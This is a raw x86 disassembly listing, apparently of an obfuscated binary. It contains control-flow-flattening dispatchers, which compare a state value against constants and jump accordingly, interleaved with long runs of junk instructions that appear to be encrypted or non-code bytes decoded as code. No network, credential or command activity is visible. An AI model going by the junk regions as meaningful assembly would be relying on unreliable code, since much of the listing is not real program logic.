mov dword [ebp - 0x60], 0xb670e
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0x1a8d9f
or eax, dword [ebp - 0x64]
je 0x682ad864
mov edx, 0x1a8d9f
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0xf0974
or eax, dword [ebp - 0x64]
je 0x682aa487
mov edx, 0xf0974
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0xeca9e
or eax, dword [ebp - 0x64]
je 0x682a8fc7
mov edx, 0xeca9e
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0xb47a7
or eax, dword [ebp - 0x64]
je 0x682ac3a7
mov edx, 0xb47a7
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0xb004a
or eax, dword [ebp - 0x64]
je 0x682aaee7
mov edx, 0xb004a
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0x9faff
or eax, dword [ebp - 0x64]
je 0x682a8567
mov edx, 0x9faff
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0x8c883
or eax, dword [ebp - 0x64]
je 0x682a9a27
mov edx, 0x8c883
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x682ad867
mov eax, dword [ebp - 0x68]
xor eax, 0x626ba
or eax, dword [ebp - 0x64]
je 0x682ace07
mov eax, dword [ebp - 0x68]
xor eax, 0x85ee1
or eax, dword [ebp - 0x64]
je 0x682ab947
jmp 0x682ad867
push esp
in eax, dx
enter 0x2f62, 0x50
sbb eax, 0xefd4e965
xchg dword [edx + 0x6e50b6d5], ebp
call 0x7fd7508d
into
xchg esp, eax
sal word [ecx], 1
les ebp, [esi + 0x18571bfb]
salc
in al, dx
push 0x93f05cb1
mov bh, 0x6a
pop ss
and ebp, eax
add dword [edx], edi
retf 0x602b
push ecx
or eax, 0x4bdc232e
nop
int3
push edi
sbb bh, ch
jg 0x682a8fba
pop esi
cmp al, byte [edi - 0x4f53ae09]
ljmp 0x971a
jmp 0x682ad868
movsd dword es:[edi], dword [esi]
mov ebp, 0x9945f1a2
cmpsb byte [esi], byte es:[edi]
out 0x74, al
call 0xd2b9119e
cmc
fsubr st(6)
jp 0x682a9a22
invalid
retf 0x9d00
cdq
jns 0x682aae7f
sub dl, bh
mov byte [edx + edi - 0x1aa2db46], ch
or byte [eax + 0x387ebdca], ch
movsb byte es:[edi], byte [esi]
mov esp, dword [ebx]
pop es
invalid
pop ds
ret 0x6811
cwde
cmp eax, dword [edx - 0x731ec143]
loope 0x682aae53
invalid
sub eax, 0x48abcc79
pushal
sar byte [ecx], 0x6d
sbb edi, dword [esi]
mov al, 0x7e
inc ecx
jbe 0x682aaf48
shl byte [edx], 1
jae 0x682aaec0
push ds
das
lds edi, [esi]
aaa
fldenv [esp + ebx*2 - 0x65]
ror byte [esi - 0x65], cl
inc esp
in al, 0xc5
aaa
mov bl, 0x46
jg 0x682aaec5
fdiv dword [edx + 0x77f6dc9c]
std
daa
push ecx
adc byte [esi + 0x4a5814f2], dh
mov dword [ebp + 0x3f3a8d23], edi
pop eax
or esi, dword [ecx - 0x24]
mov bl, 0xbd
adc al, 0x69
adc dx, word [ecx + 0x12564f49]
out dx, eax
sub ebx, dword [esi + 0x7c]
cmp byte [esi], dl
pushfd
xchg dword [ebp - 0x58], eax
imul dword [ecx - 0x5d]
pop esp
mov dword [0x8634dd8], eax
arpl word [eax], cx
push ds
and esi, dword [edi]
mov dl, 0x22
hlt
mov ecx, 0xedee8dd1
add dl, byte [0x2dede835]
xlatb
leave
push eax
iretd
nop
int3
in eax, 0xbc
jge 0x682ab9b4
jnp 0x682ab8f6
popfd
loopne 0x682ab940
adc ebp, dword [edx]
add eax, ebp
dec ebx
sbb al, 0xda
test ah, bh
push cs
pop ebx
or bh, byte [0x8c386c41]
adc dl, byte [esi + 0x27b3308]
sub al, 0x6a
pushfd
stc
lahf
pop ecx
inc eax
push ds
pop ecx
mov eax, 0x7916f85d
cmp byte [eax - 0x59ed27fd], al
ja 0x682ab981
lahf
movsb byte es:[edi], byte [esi]
mov dh, byte [edx + 0x29]
std
sub ebp, edi
xor al, 9
push ds
stosd dword es:[edi], eax
invalid
push ebp
mov cl, 0xaa
popal
xchg edi, eax
fdivp st(2)
stosb byte es:[edi], al
enter 0xfffffffffffff3f8, 0xffffffffffffffa4
xchg edx, eax
xor bl, dl
out dx, eax
adc eax, 0xf836c8dd
rol dword [ecx + 0xf0540d9], 0x11
shr byte [eax + 0x12], cl
int3
mov al, 0x40
enter 0x4897, 0xffffffffffffffac
lodsd eax, dword [esi]
pop ebp
rol dword [ebx + 0x47], 1
xchg edi, eax
insd dword es:[edi], dx
int1
push edx
cmp esi, dword [eax - 0x43]
movsb byte es:[edi], byte [esi]
iretd
and ch, bl
mov ah, 0xfc
jl 0x682ac377
push edx
sbb ah, dh
xor dword [ecx - 0x64], ecx
cmp edi, dword [0xa1418d48]
xor byte [esp + ebx*2 - 0x5f41f6b4], bh
jmp 0xe403ca6
mov ecx, 0x928fbb77
or byte [eax + 0x41], dl
pop ebx
add al, 0xd2
sub edi, dword [ecx]
cmpsb byte [esi], byte es:[edi]
sbb byte [edx], ah
sti
fidivr dword [edx + ebx*2 + 0x69]
jnp 0x682ace70
insb byte es:[edi], dx
pop ss
pop eax
push esi
outsb dx, byte [esi]
cmp eax, 0xc3922ea1
ljmp 0xb632
jl 0x682acea1
and al, 0x6d
add byte [ebp - 0x1d05b9f9], ch
add dword [edi + 0x70], 0xbe91ad9
xchg edi, eax
and al, 3
jne 0x682acea8
test eax, 0x4f51aee9
sbb dword [ecx + 0x78d3d3f3], 0x79
cld
fdiv qword [ebp + 0x78b784b6]
push ebp
mov cl, 0xf5
invalid
ficom word [esi]
mov bl, 9
neg dword [esi - 0x67cfce85]
xor dword [eax], esi
cwde
sbb esp, dword [eax]
dec ebx
inc eax
cmpsd dword [esi], dword es:[edi]
daa
sub eax, 0xd3e83a4b
and eax, 0x1f1a8f4b
mov edx, 0xe55aa09
pop ebx
sbb dword [ecx], esp
push 0xffffffffffffffa8
fnstenv [ecx - 0x6b]
stosd dword es:[edi], eax
pop edx
movsd dword es:[edi], dword [esi]
xlatb
lahf
cmp bl, ch
lodsd eax, dword [esi]
xchg edi, eax
iretd
nop
jmp 0x682ad868
nop
movzx eax, word [ebp - 0x4a]
cmp ax, word [ebp - 0x2a]
jne 0x68299036
add dword [ebp + 0xc], 2
mov eax, dword [ebp + 0xc]
movzx eax, word [eax]
mov word [ebp - 0x4a], ax
cmp word [ebp - 0x4a], 0
jne 0x682b6cea
mov dword [ebp - 0x210], 0x74699
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x218], 0x4d5fe
mov dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x210]
mov edx, dword [ebp - 0x20c]
sub eax, dword [ebp - 0x218]
sbb edx, dword [ebp - 0x214]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x220]
xor eax, 0xf00a8
or eax, dword [ebp - 0x21c]
je 0x682b6281
mov edx, 0xf00a8
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0xe8c4d
or eax, dword [ebp - 0x21c]
je 0x682afac1
mov edx, 0xe8c4d
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0xd612e
or eax, dword [ebp - 0x21c]
je 0x682b0521
mov edx, 0xd612e
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0xbc9a9
or eax, dword [ebp - 0x21c]
je 0x682ae601
mov edx, 0xbc9a9
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0xa8bab
or eax, dword [ebp - 0x21c]
je 0x682b4dc1
mov edx, 0xa8bab
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x981f3
or eax, dword [ebp - 0x21c]
je 0x682b4361
mov edx, 0x981f3
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x68e9d
or eax, dword [ebp - 0x21c]
je 0x682b2ea1
mov edx, 0x68e9d
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x53233
or eax, dword [ebp - 0x21c]
je 0x682b5821
mov edx, 0x53233
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x370a6
or eax, dword [ebp - 0x21c]
je 0x682b3901
mov edx, 0x370a6
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x2709b
or eax, dword [ebp - 0x21c]
je 0x682b6ce4
mov edx, 0x2709b
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x21642
or eax, dword [ebp - 0x21c]
je 0x682af061
mov edx, 0x21642
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x2163b
or eax, dword [ebp - 0x21c]
je 0x682b2441
mov edx, 0x2163b
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x1a10c
or eax, dword [ebp - 0x21c]
je 0x682adba1
mov edx, 0x1a10c
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x682b6cde
mov eax, dword [ebp - 0x220]
xor eax, 0x5c32
or eax, dword [ebp - 0x21c]
je 0x682b0f81
mov eax, dword [ebp - 0x220]
xor eax, 0x1520c
or eax, dword [ebp - 0x21c]
je 0x682b19e1
jmp 0x682b6cde
add byte [eax], al
cmp al, 0xd0
add al, 0x6c
insb byte es:[edi], dx
nop dword [edx]
inc ecx
shr dword [eax + edx*4 + 0x64], cl
sub bh, dl
loopne 0x682adc04
push ebx
mov ebp, 0xe95ba9bc
sbb dword [esi], ecx
insb byte es:[edi], dx
je 0x682adb9f
pop ebp
mov byte [0x5a5f248d], al
das
push cs
push es
out dx, eax
jbe 0x682adba5
xchg edx, eax
invalid
invalid
inc ebp
jno 0x682ae62d
into
dec ebx
invalid
mov ch, bh
mov dh, 0x31
xchg ebp, eax
sbb byte [ebx + 0x45111184], 0x2f
cmp byte [0x164ff921], dl
pushal
out 0xc8, al
bnd js 0x682ae629
aas
or dh, ah
pop edi
mov esp, 0xb7553880
cmp byte [ebp - 0x49], dl
inc edi
cld
sub eax, 0x48e56411
in eax, 0x48
jp 0x682ae631
jmp 0x682ae65f
test ah, 0xe3
xchg ecx, eax
mov word [ebx], ss
pop ds
imul edx, dword [edx + ebx + 0x9381f87], 0xe935c4ca
jo 0x682ae690
inc ecx
mov edx, 0x1882aa43
lodsb al, byte [esi]
lea edx, [edi + 0x4542cce9]
insd dword es:[edi], dx
jmp 0x682ae5e0
xlatb
fidivr dword [eax]
xchg edx, eax
mov ch, 0x9a
xchg dword [ebp - 0x26d0d864], ebp
je 0x682ae616
push cs
cmpsd dword [esi], dword es:[edi]
add eax, 0x18ed937e
or byte [edx], bl
dec edi
loopne 0x682ae621
rol byte [edx + 0x34], cl
sbb ebx, ebp
push ecx
cwde
sbb eax, 0x8b00e06f
xor byte [ebp - 0x53], dh
jno 0x682ae654
mov esp, 0x9a212dc6
in al, 0x24
inc ebx
fadd dword [eax]
ja 0x682ae6bc
popal
mov dh, 0x2b
sub eax, 0x36b0696a
out 0xe3, al
lcall 0xbe64, 0x5708cfe5
test byte [0xfbf4c778], 0xbd
loop 0x682ae68b
add al, 0x1b
push esi
int 0x76
xchg ebx, eax
mov edi, 0x364ddecd
int3
mov ebx, 0x49f22b2c
mov ecx, 0xafc59b17
retf 0x66bf
invalid
xor eax, 0x46ac3bf3
xchg edx, eax
or eax, 0xe4e52c15
inc edi
adc eax, 0x47e4e52c
adc dword [esi - 0x7f3495f7], eax
aam 0x65
jp 0x682b0528
jle 0x682b05a2
pop esp
sbb al, 0x59
loopne 0x682b0562
sbb eax, 0xc4564530
mov eax, dword [0x6a41e49f]
jle 0x682b0548
mov dword [edi - 0x17], edx
stosd dword es:[edi], eax
push eax
fisttp word [edx + 0x38]
xor ah, byte [esp + eax*2 + 0x749150ab]
fnstenv [edi - 0x457f5799]
daa
jecxz 0x682b05a6
xor eax, 0x7607ec22
or eax, 0x3735ab3
das
mov byte [ebx], cl
pop edi
sbb ah, byte [esi + 0x38]
jmp 0x682b056d
mov eax, 0xc068d87
inc eax
leave
push ds
aam 0x51
push 0xffffffffffffffac
and eax, ecx
fild word [esi]
mov ebx, 0x1c2e44f
jmp 0x682b05ce
wait
leave
xchg esi, eax
cmpsb byte [esi], byte es:[edi]
jp 0xa650a949
out dx, al
fsubr dword [ebx - 0x38642d7]
xchg ebx, eax
fisttp word ds:[eax + 0x11]
mov al, byte [0x4f4eadb4]
test eax, 0x31640429
mov bl, 0x52
pinsrw mm4, word [eax - 0x24], 0xc
xor eax, 0x7a86a48
enter 0xffffffffffffaac5, 0x4b
jo 0x682b0596
in al, 0x39
jnp 0x682b05f6
add byte [ebx + 0x79], dl
mov ebx, 0x39017ed3
jo 0x682b0660
movsb byte es:[edi], byte [esi]
nop
int3
stosd dword es:[edi], eax
jo 0x682b069d
pop eax
add byte [edi + 0x727f7f13], al
push edi
inc ebx
pop ebx
inc edi
jnp 0x682b06a6
push es
dec ebp
sal dword [edi + 0x4f], 1
int 0xe0
add eax, 0xd457692c
push eax
insb byte es:[edi], dx
add al, 0xa1
int3
popfd
xchg edx, eax
aas
xor edi, dword [ebx + 0xa]
and eax, 0x3ee51572
in eax, 0x3e
insd dword es:[edi], dx
jo 0x682b0652
daa
cmp edi, dword [0xa4447bfc]
dec esp
hlt
sub ebx, esp
fild word [ebx + 0x6dfedb49]
insb byte es:[edi], dx
mov eax, dword [0x1ccc1ff6]
mov dword [ecx], ebp
push 0x912b4509
rcl dword [eax - 0x73]
sbb byte [edi - 0x50f1ba6f], bh
inc edi
int3
cmp eax, 0x773b0ecb
invalid
sub eax, 0xda43e94e
add ebx, dword [ebx - 0xb064e25]
daa
sub byte [eax - 0x5fce62b0], dl
invalid
test al, 0x8a
mov esp, 0xb5210851
mov al, 0xbe
mov bh, 0x57
sub ah, byte [ebp - 0xc06de0e]
push 0xffffffffffffffa9
pushal
nop
int3
add byte [eax], 0xe9
out 0x39, eax
mov bl, 0x1f
adc esp, ecx
shr byte [ecx + 0x70b03d4], 1
mov dword [ecx], ebp
fbld tbyte [ebx - 0x7f1d9521]
cmp ecx, dword [edi + 0x56]
inc eax
push ecx
jecxz 0x682b2e86
aas
invalid
rol byte [edx], 1
popfd
push edi
and al, 0x3c
dec ebp
push 0x6aaf9e6b
loopne 0x682b3932
scasd eax, dword es:[edi]
xor dh, byte [ebp + 2]
retf
adc dword [edi], 0x1395426e
mov dl, 0x49
retf 0x41a0
ljmp 0x8e06:0x12b1f958
ficom dword [eax + 0x23]
or eax, 0xf4262a08
hlt
loop 0x682b4e45
sub eax, 0xfabc5424
imul eax, ebp, 0x2e3cab33
push 0xa58b4c57
movsd dword es:[edi], dword [esi]
push edi
add dl, byte [eax + 0x3d]
mov cl, 0x76
out dx, eax
jb 0x682b4dc7
inc edi
inc ebp
or edx, edx
mov byte [ebx - 0x3a], bh
or dword [edx], esp
jno 0x682b4e2b
mov eax, dword [0xf6977098]
adc al, 0xcf
jle 0x682b4dda
adc dword [edx - 0x5cfdd91c], eax
or dword [edi - 0x537eddc3], edi
push ecx
invalid
mov byte [0x56b2edc9], al
adc ecx, dword [edx - 0x6f]
leave
pop es
imul eax, dword [edx], 0x60a5ba12
xlatb
inc ebp
out dx, eax
sti
cmc
xor al, 0x28
mov dh, byte [eax]
add byte [eax - 0x7e], bh
js 0x682b4dc9
invalid
cdq
fdivr qword [edi - 0x2fd019c2]
adc al, 8
cmp al, 0x23
pop esi
sbb al, 0x39
mov edi, 0xe6629692
cld
pop edi
ret 0xf6f7
pop esp
pop ecx
push ecx
out dx, al
mov eax, 0xc2410e6
imul eax, dword [ecx], 0x3584fc94
push cs
salc
mov byte [0x837c0de3], al
retf
nop
jmp 0x68340b04
nop
jmp 0x68340b04
mov dword [ebp - 0x70], 0x6fdae
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x1f52b
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x78]
sbb edx, dword [ebp - 0x74]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0xeccb0
or eax, dword [ebp - 0x7c]
je 0x682bcc25
mov edx, 0xeccb0
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0xceb83
or eax, dword [ebp - 0x7c]
je 0x682b8385
mov edx, 0xceb83
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0xc2696
or eax, dword [ebp - 0x7c]
je 0x682bad05
mov edx, 0xc2696
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0xb1edc
or eax, dword [ebp - 0x7c]
je 0x682b9845
mov edx, 0xb1edc
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x9bbac
or eax, dword [ebp - 0x7c]
je 0x682bd685
mov edx, 0x9bbac
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x7c64d
or eax, dword [ebp - 0x7c]
je 0x682b6ec5
mov edx, 0x7c64d
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x6f2ad
or eax, dword [ebp - 0x7c]
je 0x682bb765
mov edx, 0x6f2ad
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x60abf
or eax, dword [ebp - 0x7c]
je 0x682b8de5
mov edx, 0x60abf
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x5718c
or eax, dword [ebp - 0x7c]
je 0x682bc1c5
mov edx, 0x5718c
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
mov eax, dword [ebp - 0x80]
xor eax, 0x50883
or eax, dword [ebp - 0x7c]
je 0x682be0e5
mov edx, 0x50883
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x682be0e2
inc esp
jb 0x682b6e9d
add byte [ebx - 0x43ca7fbb], cl
jge 0x682b6ea5
mov eax, dword [ebp - 0x80]
xor eax, 0x7dbc
or eax, dword [ebp - 0x7c]
je 0x682b7925
add byte [ebx], cl
inc ebp
test byte [edi], cl
test byte [esi + 0xa], dh
add byte [eax], al
mov eax, dword [ebp - 0x80]
xor eax, 0x4dcaf
or eax, dword [ebp - 0x7c]
je 0x682ba2a5
jmp 0x682be0e2
jg 0x682b6e9a
xor dword [eax], esp
push ds
ljmp 0x856d
push edx
leave
cmpsb byte [esi], byte es:[edi]
push ebp
fcmovnb st(0), st(7)
and ebp, edx
nop
retf 0xc298
invalid
push ebp
xor ecx, dword [edx + 0x42d3125f]
fld st(3)
cmp al, 0x37
xchg ebp, eax
int 0x1e
mov gs, edi
push 0x11
adc dword [eax - 0x3b], 0xfdfbbc2a
adc ch, 0xc9
int1
push ecx
jae 0x682b799d
jecxz 0x682b78ce
fisttp word [edi + 0x3bf2796b]
pop esi
jns 0x682b791c
mov ah, 7
scasd eax, dword es:[edi]
out 0x38, eax
aas
xchg edi, eax
mov dh, 0xc8
lodsb al, byte [esi]
adc ebx, dword [esi - 0x80]
cmp dword [eax], ebx
salc
mov esi, 0x26b85053
xchg edi, eax
sbb eax, dword [ebp - 0xb]
mov eax, dword [0x43fe4452]
and eax, 0xa20ba986
push cs
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
scasb al, byte es:[edi]
mov byte [0xae95a70e], al
mov esp, 0x804801ac
lds ebp, [ebx + 0x46450b33]
pushal
or eax, 0xd12bf009
test eax, 0x2174a00c
add dh, dh
outsb dx, byte [esi]
xchg byte [ecx], ah
dec bh
jo 0x682b79cf
outsb dx, byte [esi]
xor esp, dword [ebx]
in eax, 0xeb
mov edx, 0xdcbc0bdb
dec edi
leave
sub byte [esi + 0x4dc1bc62], ch
mov al, byte [0xb0c7fb1e]
xor byte [ebx + 0x7e6c3c0c], dl
wait
sbb bh, byte [edi]
pop ds
inc edx
inc ecx
mov cl, byte [eax]
ja 0x682b7972
fisttp dword [ebx]
mov esp, 0x28c94fdc
scasb al, byte es:[edi]
bound edi, qword [ecx + eax*8 - 0x4e15fb3]
invalid
pop ebx
xor byte [eax], ch
xor al, 0x52
mov al, 0xa3
mov ebp, 0x1ba3aca5
and eax, 0xea44c05e
fiadd dword [ebx - 0x7d]
dec ecx
mov edx, 0x6261d73
clc
mov byte [esi], dh
popfd
sti
xchg byte [esp + ebx], bh
and ebp, dword [ecx]
mov word [edi - 0x2585c562], ss
imul ebp, esi, 0x9587a791
fstp st(2)
pushfd
push ebx
xchg ebp, eax
adc al, 0x1f
dec ebp
aad 0xfc
cli
pop esi
inc ebx
jbe 0x682b7a6a
ljmp 0x73ba:0x498343da
sub eax, dword [ebp - 0x4d]
fucomi st(7)
jnp 0x682b7a33
stosd dword es:[edi], eax
in al, dx
or dword [ebx + eax*8 + 0x22], ecx
test dword [eax + 0x73], esp
in al, dx
lodsb al, byte [esi]
xchg ebp, eax
fst qword [eax - 0x1a637434]
mov ch, 0x7a
not byte [ecx]
out 7, al
popal
adc edi, dword [edi + esi*2 - 0xd9c090d]
rol dword [ebp + ecx*8 + 0x2b], 0x7f
jge 0x682b79c6
mov ah, 0x89
or eax, 0xc1110c1
invalid
adc dword [edi + ecx*4], ecx
xor byte [ebx + 0x3c], ah
test dword [ecx + 0x783f32ce], ebp
or byte [edi + 0x73691ee], ah
and edi, esi
aaa
js 0x682b7a91
fstp qword [edi - 0xc]
fbld tbyte [0xc34d887c]
ret
aad 0xbd
adc dword [eax - 0x45], ebp
int3
test byte [eax + ecx*2 + 0x75d3846a], 0xdc
sbb byte [ebx + 6], 0xf9
ljmp 0xc155
test al, 0xda
int3
adc bh, byte [eax - 0x5e]
push ecx
lodsb al, byte gs:[esi]
sal dword [eax + 0x14], 1
fcmovbe st(0), st(5)
mov bl, 0xf1
nop
int3
sbb dword [eax + 0x49a51c40], ebp
sti
in eax, 0xb1
ja 0x682b8385
pop ebp
and ah, byte [ecx + 0x38ae4f5c]
push 0xce2029ae
xlatb
inc edi
dec ebp
ja 0x682b83ec
or bh, byte [edx - 0x29]
xlatb
pop es
in eax, 0x6d
mov ebp, 0x4131fb7f
jp 0x682b8359
push 0xcf5f86b0
pop ecx
add bh, byte [ebx - 0x63]
jnp 0x682b8371
sbb byte [edi], ch
mov edx, dword [ebp - 0x61]
retf
inc esi
xlatb
invalid
mov edx, 0x981bd261
dec esi
rol dword [edx - 0x438f6c6c], 0x5d
and eax, 0x8337dc9d
push 0xda94
mov bh, 0x8a
add dword [ebx + 0x3774b9c4], esi
inc edx
pop edi
mov ebp, 0x70ca0074
cwde
xchg edi, eax
mov eax, dword [edi]
int3
push ss
push ecx
mov ebp, dword [esi]
xor ecx, dword [ebp + 0x1bdd3709]
out dx, al
scasb al, byte es:[edi]
cmp byte fs:[edx + 0x3bd8fddb], bh
iretd
sub byte [ecx], dl
popal
into
dec ebp
invalid
adc byte [ebx + 0x51ff037], bl
fdivr dword [edx - 0x3ecfaf06]
sti
xor byte [ecx], cl
pop eax
mov dword [ecx - 0x7c], ebx
jno 0x682bacd3
jb 0x682bacef
scasd eax, dword es:[edi]
mov ah, 0x35
stosb byte es:[edi], al
pop ebx
cmp ah, dl
not byte [ebx + 0x5e43689a]
salc
inc edx
xchg esi, eax
mov edi, 0xba45a93
iretd
xchg byte [ebx + 0x323c6ef2], dl
or ch, 0x93
mov dword [0x7ab721af], eax
out dx, eax
nop
int3
and ebx, ebp
wait
mov edi, 0xfe456402
sub esp, edi
jne 0x682bacb8
mov ch, byte [edi]
adc byte [0xced32ec], 0x25
test dword [edx - 0x2b], esi
mov cl, 0xd6
mov word [ebp - 0x31], gs
mov al, byte [0x500448dd]
add byte [ecx + 0x59947495], ah
adc al, bh
add al, 0x5d
lodsb al, byte [esi]
cmp ch, byte [edi + 0x13]
dec edi
lea esi, [ecx - 0x72bb4372]
sub al, 0x4f
dec esi
dec edx
mov ecx, 0x49bbf6e6
cld
pop ecx
sar dword [ebx + 0x478af702], 0x1d
sbb dword [0x5be6dd1a], ecx
push esi
invalid
pop ds
and esi, eax
in eax, dx
cmp eax, 0xa78afe2b
dec ebp
push 0x66
shr al, cl
out 0xcb, eax
cmp ch, byte [eax + edi*2 - 2]
insb byte es:[edi], dx
js 0x682bb73c
in al, dx
jns 0x682bb782
dec ecx
mul byte [edx - 0x762198f2]
xchg ecx, eax
invalid
insb byte es:[edi], dx
cmpsd dword [esi], dword es:[edi]
adc ebx, ebx
push ebx
retf
push 0x2d04dd9b
jecxz 0x682bb774
xor dword [esi + 3], 0x7e
jns 0x682bb7ba
jne 0x682bb729
jl 0x682bb73b
imul edi, dword [ebx - 0x3f], 0xffffffc7
lodsb al, byte [esi]
mov bl, byte [ebp + 0x425a6631]
push cs
sbb dh, byte [edx + 0x20]
cmp byte [ebx + 0x55e51870], ch
test byte [esi - 0x18b67e43], bh
scasb al, byte es:[edi]
push ecx
out dx, eax
sub al, byte [esi]
lodsd eax, dword [esi]
cmp al, 0xbf
xchg byte [esi - 0x3958646a], bl
adc ebx, dword [ecx + ebx*2 - 0x25]
mov ecx, 0xa1ef275f
pop eax
lds eax, [0x5bf3f123]
xchg edi, eax
loop 0x682bb74b
or eax, dword [edx]
sbb byte [0xc624c923], al
mov eax, dword [0x1bf74cc8]
wait
lcall 0x9483, 0xe36f8df
sub al, 0x64
call 0x4b836ea3
xchg byte [ecx - 0x488656d], dl
outsd dx, dword [esi]
pop ebp
call 0x4b65390f
iretd
invalid
mov esp, 0x408eeaa2
xchg edx, eax
popal
test al, 0x5d
lodsd eax, dword [esi]
inc esp
das
invalid
in eax, 0xa4
xor dword [ebx - 0x4b], edx
out 0x2c, al
stosd dword es:[edi], eax
xor byte [ebp + 0x1772b21a], cl
fnstsw word [ebx - 0x18]
add dword [eax + 0x37], edi
invalid
or esp, esp
mov edi, dword [esi]
pop edx
jl 0x682bd4e6
xchg ecx, eax
invalid
aas
xchg dword [ecx], ecx
jbe 0x682bd558
loopne 0x682bd4e8
sbb byte [ecx], bl
inc ebx
mov esi, 0x6e0805b7
jl 0x682bd569
or al, byte [ecx + 1]
xor bh, byte [ecx - 0x70]
inc ecx
add dword [edx], esi
jns 0x682bd4ed
or ch, dh
sahf
movsd dword es:[edi], dword [esi]
test dword [esi + 0x5a], ebx
or byte [ebx], dh
jl 0x682bd591
push cs
ja 0x682bd5a7
aad 0x9b
pop ebp
add ebp, dword [ebp - 0x1f]
sub al, byte [ecx]
inc edi
inc esp
push ecx
mov al, byte [edx + 0x792a788a]
fsub st(5)
cmp byte [esi + ebp*4 + 0xf19767f], ch
mov ah, byte ds:[ebp - 0x35]
shr byte [eax], 0x83
adc byte [eax + 0x478eb2cc], dl
inc edi
in eax, 0x8d
jnp 0x682bd543
mov edx, es
sbb byte [esi], al
arpl word [esi], cx
jne 0x682bd601
inc eax
